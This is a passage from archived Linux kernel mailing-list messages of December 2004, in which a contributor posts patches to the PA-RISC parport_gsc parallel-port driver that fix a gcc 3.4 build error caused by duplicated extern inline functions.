+extern void parport_gsc_release_resources(struct parport *p);
+
+extern int parport_gsc_claim_resources(struct parport *p);
+
+extern void parport_gsc_init_state(struct pardevice *, struct parport_state *s);
+
+extern void parport_gsc_save_state(struct parport *p, struct parport_state *s);
+
+extern void parport_gsc_restore_state(struct parport *p, struct parport_state *s);
+
+extern void parport_gsc_inc_use_count(void);
+
+extern void parport_gsc_dec_use_count(void);
+
+extern struct parport *parport_gsc_probe_port(unsigned long base,
+						unsigned long base_hi,
+						int irq, int dma,
+						struct pci_dev *dev);
+
+#endif	/* __DRIVERS_PARPORT_PARPORT_GSC_H */
--- drivers/parport/parport_gsc.c.Orig	2004-12-29 13:11:41.371485993 +0100
+++ drivers/parport/parport_gsc.c	2004-12-29 20:07:39.873552874 +0100
@@ -42,7 +42,7 @@
  #include <asm/pdc.h>
  #include <asm/parisc-device.h>
  #include <asm/hardware.h>
-#include <asm/parport_gsc.h>
+#include "parport_gsc.h"


  MODULE_AUTHOR("Helge Deller <deller@gmx.de>");
@@ -87,95 +87,6 @@
  	return IRQ_HANDLED;
  }

-void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-	parport_writeb (d, DATA (p));
-}
-
-unsigned char parport_gsc_read_data(struct parport *p)
-{
-	unsigned char c = parport_readb (DATA (p));
-	return c;
-}
-
-void parport_gsc_write_control(struct parport *p, unsigned char d)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to the newer interface. */
-	if (d & 0x20) {
-		pr_debug("%s (%s): use data_reverse for this!\n",
-			    p->name, p->cad->name);
-		parport_gsc_data_reverse (p);
-	}
-
-	__parport_gsc_frob_control (p, wm, d & wm);
-}
-
-unsigned char parport_gsc_read_control(struct parport *p)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-	const struct parport_gsc_private *priv = p->physport->private_data;
-	return priv->ctr & wm; /* Use soft copy */
-}
-
-unsigned char parport_gsc_frob_control (struct parport *p, unsigned char mask,
-				       unsigned char val)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to the newer interface. */
-	if (mask & 0x20) {
-		pr_debug("%s (%s): use data_%s for this!\n",
-			p->name, p->cad->name,
-			(val & 0x20) ? "reverse" : "forward");
-		if (val & 0x20)
-			parport_gsc_data_reverse (p);
-		else
-			parport_gsc_data_forward (p);
-	}
-
-	/* Restrict mask and val to control lines. */
-	mask &= wm;
-	val &= wm;
-
-	return __parport_gsc_frob_control (p, mask, val);
-}
-
-unsigned char parport_gsc_read_status(struct parport *p)
-{
-	return parport_readb (STATUS (p));
-}
-
-void parport_gsc_disable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0);
-}
-
-void parport_gsc_enable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x10);
-}
-
-void parport_gsc_data_forward (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0);
-}
-
-void parport_gsc_data_reverse (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x20);
-}
-
  void parport_gsc_init_state(struct pardevice *dev, struct parport_state *s)
  {
  	s->u.pc.ctr = 0xc | (dev->irq_func ? 0x10 : 0x0);
=========><=========

(I just test it with gcc-3.4.3-6 kernel compiles well)

hth,
	Joel

PS: Also joined patch files in case of bad wraping

--------------000002040600050003070403
Content-Type: text/plain;
 name="drivers_parport_parport_gsc.c.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="drivers_parport_parport_gsc.c.diff"

--- drivers/parport/parport_gsc.c.Orig	2004-12-29 13:11:41.371485993 +0100
+++ drivers/parport/parport_gsc.c	2004-12-29 20:07:39.873552874 +0100
@@ -42,7 +42,7 @@
 #include <asm/pdc.h>
 #include <asm/parisc-device.h>
 #include <asm/hardware.h>
-#include <asm/parport_gsc.h>
+#include "parport_gsc.h"
 
 
 MODULE_AUTHOR("Helge Deller <deller@gmx.de>");
@@ -87,95 +87,6 @@
 	return IRQ_HANDLED;
 }
 
-void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-	parport_writeb (d, DATA (p));
-}
-
-unsigned char parport_gsc_read_data(struct parport *p)
-{
-	unsigned char c = parport_readb (DATA (p));
-	return c;
-}
-
-void parport_gsc_write_control(struct parport *p, unsigned char d)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to the newer interface. */
-	if (d & 0x20) {
-		pr_debug("%s (%s): use data_reverse for this!\n",
-			    p->name, p->cad->name);
-		parport_gsc_data_reverse (p);
-	}
-
-	__parport_gsc_frob_control (p, wm, d & wm);
-}
-
-unsigned char parport_gsc_read_control(struct parport *p)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-	const struct parport_gsc_private *priv = p->physport->private_data;
-	return priv->ctr & wm; /* Use soft copy */
-}
-
-unsigned char parport_gsc_frob_control (struct parport *p, unsigned char mask,
-				       unsigned char val)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to the newer interface. */
-	if (mask & 0x20) {
-		pr_debug("%s (%s): use data_%s for this!\n",
-			p->name, p->cad->name,
-			(val & 0x20) ? "reverse" : "forward");
-		if (val & 0x20)
-			parport_gsc_data_reverse (p);
-		else
-			parport_gsc_data_forward (p);
-	}
-
-	/* Restrict mask and val to control lines. */
-	mask &= wm;
-	val &= wm;
-
-	return __parport_gsc_frob_control (p, mask, val);
-}
-
-unsigned char parport_gsc_read_status(struct parport *p)
-{
-	return parport_readb (STATUS (p));
-}
-
-void parport_gsc_disable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0);
-}
-
-void parport_gsc_enable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x10);
-}
-
-void parport_gsc_data_forward (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0);
-}
-
-void parport_gsc_data_reverse (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x20);
-}
-
 void parport_gsc_init_state(struct pardevice *dev, struct parport_state *s)
 {
 	s->u.pc.ctr = 0xc | (dev->irq_func ? 0x10 : 0x0);

--------------000002040600050003070403
Content-Type: text/plain;
 name="include_asm-parisc_parport_gsc.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="include_asm-parisc_parport_gsc.h.diff"

--- include/asm-parisc/parport_gsc.h.Orig	2004-12-29 16:17:31.110118022 +0100
+++ include/asm-parisc/parport_gsc.h	1970-01-01 01:00:00.000000000 +0100
@@ -1,193 +0,0 @@
-#ifndef __LINUX_PARPORT_GSC_H
-#define __LINUX_PARPORT_GSC_H
-
-#include <asm/io.h>
-#include <linux/delay.h>
-
-#undef	DEBUG_PARPORT	/* undefine for production */
-#define DELAY_TIME 	0
-
-#if DELAY_TIME == 0
-#define parport_readb	gsc_readb
-#define parport_writeb	gsc_writeb
-#else
-static __inline__ unsigned char parport_readb( unsigned long port )
-{
-    udelay(DELAY_TIME);
-    return gsc_readb(port);
-}
-
-static __inline__ void parport_writeb( unsigned char value, unsigned long port )
-{
-    gsc_writeb(value,port);
-    udelay(DELAY_TIME);
-}
-#endif
-
-/* --- register definitions ------------------------------- */
-
-#define EPPDATA(p)  ((p)->base    + 0x4)
-#define EPPADDR(p)  ((p)->base    + 0x3)
-#define CONTROL(p)  ((p)->base    + 0x2)
-#define STATUS(p)   ((p)->base    + 0x1)
-#define DATA(p)     ((p)->base    + 0x0)
-
-struct parport_gsc_private {
-	/* Contents of CTR. */
-	unsigned char ctr;
-
-	/* Bitmask of writable CTR bits. */
-	unsigned char ctr_writable;
-
-	/* Number of bytes per portword. */
-	int pword;
-
-	/* Not used yet. */
-	int readIntrThreshold;
-	int writeIntrThreshold;
-
-	/* buffer suitable for DMA, if DMA enabled */
-	char *dma_buf;
-	dma_addr_t dma_handle;
-	struct pci_dev *dev;
-};
-
-extern __inline__ void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
-#endif
-	parport_writeb(d, DATA(p));
-}
-
-extern __inline__ unsigned char parport_gsc_read_data(struct parport *p)
-{
-	unsigned char val = parport_readb (DATA (p));
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG "parport_gsc_read_data(%p) = 0x%02x\n",
-		p, val);
-#endif
-	return val;
-}
-
-/* __parport_gsc_frob_control differs from parport_gsc_frob_control in that
- * it doesn't do any extra masking. */
-static __inline__ unsigned char __parport_gsc_frob_control (struct parport *p,
-							   unsigned char mask,
-							   unsigned char val)
-{
-	struct parport_gsc_private *priv = p->physport->private_data;
-	unsigned char ctr = priv->ctr;
-#ifdef DEBUG_PARPORT
-	printk (KERN_DEBUG
-		"__parport_gsc_frob_control(%02x,%02x): %02x -> %02x\n",
-		mask, val, ctr, ((ctr & ~mask) ^ val) & priv->ctr_writable);
-#endif
-	ctr = (ctr & ~mask) ^ val;
-	ctr &= priv->ctr_writable; /* only write writable bits. */
-	parport_writeb (ctr, CONTROL (p));
-	priv->ctr = ctr;	/* Update soft copy */
-	return ctr;
-}
-
-extern __inline__ void parport_gsc_data_reverse (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x20);
-}
-
-extern __inline__ void parport_gsc_data_forward (struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x20, 0x00);
-}
-
-extern __inline__ void parport_gsc_write_control (struct parport *p,
-						 unsigned char d)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to newer interface. */
-	if (d & 0x20) {
-		printk (KERN_DEBUG "%s (%s): use data_reverse for this!\n",
-			p->name, p->cad->name);
-		parport_gsc_data_reverse (p);
-	}
-
-	__parport_gsc_frob_control (p, wm, d & wm);
-}
-
-extern __inline__ unsigned char parport_gsc_read_control(struct parport *p)
-{
-	const unsigned char rm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-	const struct parport_gsc_private *priv = p->physport->private_data;
-	return priv->ctr & rm; /* Use soft copy */
-}
-
-extern __inline__ unsigned char parport_gsc_frob_control (struct parport *p,
-							 unsigned char mask,
-							 unsigned char val)
-{
-	const unsigned char wm = (PARPORT_CONTROL_STROBE |
-				  PARPORT_CONTROL_AUTOFD |
-				  PARPORT_CONTROL_INIT |
-				  PARPORT_CONTROL_SELECT);
-
-	/* Take this out when drivers have adapted to newer interface. */
-	if (mask & 0x20) {
-		printk (KERN_DEBUG "%s (%s): use data_%s for this!\n",
-			p->name, p->cad->name,
-			(val & 0x20) ? "reverse" : "forward");
-		if (val & 0x20)
-			parport_gsc_data_reverse (p);
-		else
-			parport_gsc_data_forward (p);
-	}
-
-	/* Restrict mask and val to control lines. */
-	mask &= wm;
-	val &= wm;
-
-	return __parport_gsc_frob_control (p, mask, val);
-}
-
-extern __inline__ unsigned char parport_gsc_read_status(struct parport *p)
-{
-	return parport_readb (STATUS(p));
-}
-
-
-extern __inline__ void parport_gsc_disable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x00);
-}
-
-extern __inline__ void parport_gsc_enable_irq(struct parport *p)
-{
-	__parport_gsc_frob_control (p, 0x10, 0x10);
-}
-
-extern void parport_gsc_release_resources(struct parport *p);
-
-extern int parport_gsc_claim_resources(struct parport *p);
-
-extern void parport_gsc_init_state(struct pardevice *, struct parport_state *s);
-
-extern void parport_gsc_save_state(struct parport *p, struct parport_state *s);
-
-extern void parport_gsc_restore_state(struct parport *p, struct parport_state *s);
-
-extern void parport_gsc_inc_use_count(void);
-
-extern void parport_gsc_dec_use_count(void);
-
-extern struct parport *parport_gsc_probe_port (unsigned long base,
-					      unsigned long base_hi,
-					      int irq, int dma,
-					      struct pci_dev *dev);
-
-#endif

--------------000002040600050003070403
Content-Type: text/plain;
 name="drivers_parport_parport_gsc.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="drivers_parport_parport_gsc.h.diff"

--- drivers/parport/parport_gsc.h.Orig	1970-01-01 01:00:00.000000000 +0100
+++ drivers/parport/parport_gsc.h	2004-12-29 20:25:09.872226309 +0100
@@ -0,0 +1,222 @@
+/*
+ *	Low-level parallel-support for PC-style hardware integrated in the 
+ *	LASI-Controller (on GSC-Bus) for HP-PARISC Workstations
+ *
+ *	(C) 1999-2001 by Helge Deller <deller@gmx.de>
+ *
+ *
+ *	This program is free software; you can redistribute it and/or modify
+ *	it under the terms of the GNU General Public License as published by
+ *	the Free Software Foundation; either version 2 of the License, or
+ *	(at your option) any later version.
+ *
+ *	This program is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *	GNU General Public License for more details.
+ *
+ *	You should have received a copy of the GNU General Public License
+ *	along with this program; if not, write to the Free Software
+ *	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ * 
+ * based on parport_pc.c by 
+ * 	    Grant Guenther <grant@torque.net>
+ * 	    Phil Blundell <Philip.Blundell@pobox.com>
+ *          Tim Waugh <tim@cyberelk.demon.co.uk>
+ *	    Jose Renau <renau@acm.org>
+ *          David Campbell <campbell@torque.net>
+ *          Andrea Arcangeli
+ */
+
+#ifndef	__DRIVERS_PARPORT_PARPORT_GSC_H
+#define	__DRIVERS_PARPORT_PARPORT_GSC_H
+
+#include <asm/io.h>
+#include <linux/delay.h>
+
+#undef	DEBUG_PARPORT	/* undefine for production */
+#define DELAY_TIME 	0
+
+#if DELAY_TIME == 0
+#define parport_readb	gsc_readb
+#define parport_writeb	gsc_writeb
+#else
+static __inline__ unsigned char parport_readb( unsigned long port )
+{
+    udelay(DELAY_TIME);
+    return gsc_readb(port);
+}
+
+static __inline__ void parport_writeb( unsigned char value, unsigned long port )
+{
+    gsc_writeb(value,port);
+    udelay(DELAY_TIME);
+}
+#endif
+
+/* --- register definitions ------------------------------- */
+
+#define EPPDATA(p)  ((p)->base    + 0x4)
+#define EPPADDR(p)  ((p)->base    + 0x3)
+#define CONTROL(p)  ((p)->base    + 0x2)
+#define STATUS(p)   ((p)->base    + 0x1)
+#define DATA(p)     ((p)->base    + 0x0)
+
+struct parport_gsc_private {
+	/* Contents of CTR. */
+	unsigned char ctr;
+
+	/* Bitmask of writable CTR bits. */
+	unsigned char ctr_writable;
+
+	/* Number of bytes per portword. */
+	int pword;
+
+	/* Not used yet. */
+	int readIntrThreshold;
+	int writeIntrThreshold;
+
+	/* buffer suitable for DMA, if DMA enabled */
+	char *dma_buf;
+	dma_addr_t dma_handle;
+	struct pci_dev *dev;
+};
+
+static inline void parport_gsc_write_data(struct parport *p, unsigned char d)
+{
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
+#endif
+	parport_writeb(d, DATA(p));
+}
+
+static inline unsigned char parport_gsc_read_data(struct parport *p)
+{
+	unsigned char val = parport_readb (DATA (p));
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG "parport_gsc_read_data(%p) = 0x%02x\n",
+		p, val);
+#endif
+	return val;
+}
+
+/* __parport_gsc_frob_control differs from parport_gsc_frob_control in that
+ * it doesn't do any extra masking. */
+static inline unsigned char __parport_gsc_frob_control(struct parport *p,
+							unsigned char mask,
+							unsigned char val)
+{
+	struct parport_gsc_private *priv = p->physport->private_data;
+	unsigned char ctr = priv->ctr;
+#ifdef DEBUG_PARPORT
+	printk (KERN_DEBUG
+		"__parport_gsc_frob_control(%02x,%02x): %02x -> %02x\n",
+		mask, val, ctr, ((ctr & ~mask) ^ val) & priv->ctr_writable);
+#endif
+	ctr = (ctr & ~mask) ^ val;
+	ctr &= priv->ctr_writable; /* only write writable bits. */
+	parport_writeb (ctr, CONTROL (p));
+	priv->ctr = ctr;	/* Update soft copy */
+	return ctr;
+}
+
+static inline void parport_gsc_data_reverse(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x20, 0x20);
+}
+
+static inline void parport_gsc_data_forward(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x20, 0x00);
+}
+
+static inline void parport_gsc_write_control(struct parport *p,
+						 unsigned char d)
+{
+	const unsigned char wm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+
+	/* Take this out when drivers have adapted to newer interface. */
+	if (d & 0x20) {
+		printk (KERN_DEBUG "%s (%s): use data_reverse for this!\n",
+			p->name, p->cad->name);
+		parport_gsc_data_reverse (p);
+	}
+
+	__parport_gsc_frob_control (p, wm, d & wm);
+}
+
+static inline unsigned char parport_gsc_read_control(struct parport *p)
+{
+	const unsigned char rm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+	const struct parport_gsc_private *priv = p->physport->private_data;
+	return priv->ctr & rm; /* Use soft copy */
+}
+
+static inline unsigned char parport_gsc_frob_control(struct parport *p,
+							unsigned char mask,
+							unsigned char val)
+{
+	const unsigned char wm = (PARPORT_CONTROL_STROBE |
+				  PARPORT_CONTROL_AUTOFD |
+				  PARPORT_CONTROL_INIT |
+				  PARPORT_CONTROL_SELECT);
+
+	/* Take this out when drivers have adapted to newer interface. */
+	if (mask & 0x20) {
+		printk (KERN_DEBUG "%s (%s): use data_%s for this!\n",
+			p->name, p->cad->name,
+			(val & 0x20) ? "reverse" : "forward");
+		if (val & 0x20)
+			parport_gsc_data_reverse (p);
+		else
+			parport_gsc_data_forward (p);
+	}
+
+	/* Restrict mask and val to control lines. */
+	mask &= wm;
+	val &= wm;
+
+	return __parport_gsc_frob_control (p, mask, val);
+}
+
+static inline unsigned char parport_gsc_read_status(struct parport *p)
+{
+	return parport_readb (STATUS(p));
+}
+
+static inline void parport_gsc_disable_irq(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x10, 0x00);
+}
+
+static inline void parport_gsc_enable_irq(struct parport *p)
+{
+	__parport_gsc_frob_control (p, 0x10, 0x10);
+}
+
+extern void parport_gsc_release_resources(struct parport *p);
+
+extern int parport_gsc_claim_resources(struct parport *p);
+
+extern void parport_gsc_init_state(struct pardevice *, struct parport_state *s);
+
+extern void parport_gsc_save_state(struct parport *p, struct parport_state *s);
+
+extern void parport_gsc_restore_state(struct parport *p, struct parport_state *s);
+
+extern void parport_gsc_inc_use_count(void);
+
+extern void parport_gsc_dec_use_count(void);
+
+extern struct parport *parport_gsc_probe_port(unsigned long base,
+						unsigned long base_hi,
+						int irq, int dma,
+						struct pci_dev *dev);
+
+#endif	/* __DRIVERS_PARPORT_PARPORT_GSC_H */

--------------000002040600050003070403
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------000002040600050003070403--



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.10-pa1 compile fails
Date: Wed, 29 Dec 2004 15:38:05 +0000
Lines: 262
Approved: news@gmane.org
Message-ID: <41D2CF5D.3020801__16765.4977449731$1416624518$gmane$org@tiscali.be>
References: <Pine.LNX.4.21.0412291312230.15774-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------000106070303090805050000"
X-Trace: ger.gmane.org 1416624518 26549 80.91.229.3 (22 Nov 2014 02:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:38 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: =?ISO-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@iki.fi>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 15:38:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx039) with SMTP; 29 Dec 2004 16:38:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D49F42E105; Wed, 29 Dec 2004 09:38:08 -0600 (CST)
Old-Return-Path: <joel.soete@tiscali.be>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by murphy.debian.org (Postfix) with ESMTP id 8617F2E02A
	for <debian-hppa@lists.debian.org>; Wed, 29 Dec 2004 09:38:07 -0600 (CST)
Original-Received: from [83.134.227.210] (helo=[83.134.227.210])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cjftm-000505-3x; Wed, 29 Dec 2004 16:38:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.21.0412291312230.15774-100000@hal.pp.fishpool.fi>
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-4.5 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <3xJAFC.A.EQD.g9s0BB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4088
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 29 Dec 2004 09:38:08 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25050

This is a multi-part message in MIME format.
--------------000106070303090805050000
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit



Martin-ric Racine wrote:

>Feel free to forward to the PA-RISC kernel mailing list:
>
>drivers/parport/parport_gsc.c: In function `parport_gsc_write_control':
>drivers/parport/parport_gsc.c:175: sorry, unimplemented: inlining failed in call
>to 'parport_gsc_data_reverse': redefined extern inline functions are not
>considered for inlining
>drivers/parport/parport_gsc.c:112: sorry, unimplemented: called from here
>make[3]: *** [drivers/parport/parport_gsc.o] Error 1
>make[2]: *** [drivers/parport] Error 2
>make[1]: *** [drivers] Error 2
>make[1]: Leaving directory `/usr/src/linux-2.6.10'
>make: *** [stamp-build] Error 2
>
>  
>
mmm don't have such error with gcc-3.3.5.

>This makes 2.6.8.1 the last kernel I could compile, using the same tools:
>
>binutils-hppa-linux       2.15-1
>gcc-hppa-linux            3.4.1-1
>
>  
>
That said there are well something strange: parport_gsc_data_reverse() 
(and some other one) are define twice (once in 
drivers/parport/parport_gsc.c and another in 
include/asm-parisc/parport_gsc.h but fwiw foreseen like this:
[...]
/*
 * Access functions.
 *
 * Most of these aren't static because they may be used by the
 * parport_xxx_yyy macros.  extern __inline__ versions of several
 * of these are in parport_gsc.h.
 */
[...]

Even thought gcc 3.4.1 is bit outdated (3.4.3-6 now), I checked with 
this new and the pb is still the same.

a possible patch could be:
--- drivers/parport/parport_gsc.c.Orig    2004-12-29 13:11:41.371485993 
+0100
+++ drivers/parport/parport_gsc.c    2004-12-29 15:32:43.742960591 +0100
@@ -87,17 +87,6 @@
     return IRQ_HANDLED;
 }
 
-void parport_gsc_write_data(struct parport *p, unsigned char d)
-{
-    parport_writeb (d, DATA (p));
-}
-
-unsigned char parport_gsc_read_data(struct parport *p)
-{
-    unsigned char c = parport_readb (DATA (p));
-    return c;
-}
-
 void parport_gsc_write_control(struct parport *p, unsigned char d)
 {
     const unsigned char wm = (PARPORT_CONTROL_STROBE |
@@ -151,11 +140,6 @@
     return __parport_gsc_frob_control (p, mask, val);
 }
 
-unsigned char parport_gsc_read_status(struct parport *p)
-{
-    return parport_readb (STATUS (p));
-}
-
 void parport_gsc_disable_irq(struct parport *p)
 {
     __parport_gsc_frob_control (p, 0x10, 0);
@@ -166,16 +150,6 @@
     __parport_gsc_frob_control (p, 0x10, 0x10);
 }
 
-void parport_gsc_data_forward (struct parport *p)
-{
-    __parport_gsc_frob_control (p, 0x20, 0);
-}
-
-void parport_gsc_data_reverse (struct parport *p)
-{
-    __parport_gsc_frob_control (p, 0x20, 0x20);
-}
-
 void parport_gsc_init_state(struct pardevice *dev, struct parport_state *s)
 {
     s->u.pc.ctr = 0xc | (dev->irq_func ? 0x10 : 0x0);
--- include/asm-parisc/parport_gsc.h.Orig    2004-12-29 
16:17:31.110118022 +0100
+++ include/asm-parisc/parport_gsc.h    2004-12-29 16:28:34.319390619 +0100
@@ -52,7 +52,7 @@
     struct pci_dev *dev;
 };
 
-extern __inline__ void parport_gsc_write_data(struct parport *p, 
unsigned char d)
+static inline void parport_gsc_write_data(struct parport *p, unsigned 
char d)
 {
 #ifdef DEBUG_PARPORT
     printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
@@ -60,7 +60,7 @@
     parport_writeb(d, DATA(p));
 }
 
-extern __inline__ unsigned char parport_gsc_read_data(struct parport *p)
+static inline unsigned char parport_gsc_read_data(struct parport *p)
 {
     unsigned char val = parport_readb (DATA (p));
 #ifdef DEBUG_PARPORT
@@ -90,12 +90,12 @@
     return ctr;
 }
 
-extern __inline__ void parport_gsc_data_reverse (struct parport *p)
+static inline void parport_gsc_data_reverse (struct parport *p)
 {
     __parport_gsc_frob_control (p, 0x20, 0x20);
 }
 
-extern __inline__ void parport_gsc_data_forward (struct parport *p)
+static inline void parport_gsc_data_forward (struct parport *p)
 {
     __parport_gsc_frob_control (p, 0x20, 0x00);
 }
@@ -155,7 +155,7 @@
     return __parport_gsc_frob_control (p, mask, val);
 }
 
-extern __inline__ unsigned char parport_gsc_read_status(struct parport *p)
+static inline unsigned char parport_gsc_read_status(struct parport *p)
 {
     return parport_readb (STATUS(p));
 }
=========><=========

Can you test it for me?

Joel

PS: In case of bad wraping I also attached patch files :-)



--------------000106070303090805050000
Content-Type: text/plain;
 name="include_asm-parisc_parport_gsc.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="include_asm-parisc_parport_gsc.h.diff"

--- include/asm-parisc/parport_gsc.h.Orig	2004-12-29 16:17:31.110118022 +0100
+++ include/asm-parisc/parport_gsc.h	2004-12-29 16:28:34.319390619 +0100
@@ -52,7 +52,7 @@
 	struct pci_dev *dev;
 };
 
-extern __inline__ void parport_gsc_write_data(struct parport *p, unsigned char d)
+static inline void parport_gsc_write_data(struct parport *p, unsigned char d)
 {
 #ifdef DEBUG_PARPORT
 	printk (KERN_DEBUG "parport_gsc_write_data(%p,0x%02x)\n", p, d);
@@ -60,7 +60,7 @@
 	parport_writeb(d, DATA(p));
 }
 
-extern __inline__ unsigned char parport_gsc_read_data(struct parport *p)
+static inline unsigned char parport_gsc_read_data(struct parport *p)
 {
 	unsigned char val = parport_readb (DATA (p));
 #ifdef DEBUG_PARPORT
@@ -90,12 +90,12 @@
 	return ctr;
 }
 
-extern __inline__ void parport_gsc_data_reverse (struct parport *p)
+static inline void parport_gsc_data_reverse (struct parport *p)
 {
 	__parport_gsc_frob_control (p, 0x20, 0x20);
 }
 
-extern __inline__ void parport_gsc_data_forward (struct parport *p)
